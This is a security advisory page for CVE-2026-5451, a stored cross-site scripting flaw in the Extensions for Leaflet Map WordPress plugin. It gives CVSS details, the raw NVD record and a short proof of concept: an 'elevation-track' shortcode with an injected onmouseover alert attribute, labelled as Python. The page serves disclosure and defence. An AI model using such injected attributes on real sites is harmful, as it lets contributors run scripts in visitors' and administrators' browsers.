Security Vulnerability Report
中文
CVE-2026-5451 CVSS 6.4 MEDIUM

CVE-2026-5451

Published: 2026-04-08 21:17:02
Last Modified: 2026-04-24 18:04:28

Description

The Extensions for Leaflet Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'elevation-track' shortcode in all versions up to, and including, 4.14. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Extensions for Leaflet Map <= 4.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-5451: Stored XSS via elevation-track shortcode --> <!-- Attacker creates a new post with the following content --> [elevation-track track_id="1" color="blue" onmouseover="alert('CVE-2026-5451_XSS')"] <!-- When an admin views the post, the alert triggers -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5451", "sourceIdentifier": "[email protected]", "published": "2026-04-08T21:17:01.837", "lastModified": "2026-04-24T18:04:28.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Extensions for Leaflet Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'elevation-track' shortcode in all versions up to, and including, 4.14. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/extensions-leaflet-map/tags/4.11/php/functions.php#L168", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/extensions-leaflet-map/tags/4.11/php/multielevation.php#L227", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/extensions-leaflet-map/tags/4.15/php/functions.php?rev=3500851", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/extensions-leaflet-map/tags/4.15/php/multielevation.php?rev=3500851", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/extensions-leaflet-map", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7749c45a-f956-4df6-98d0-5ec0db95185e?source=cve", "source": "[email protected]"}]}}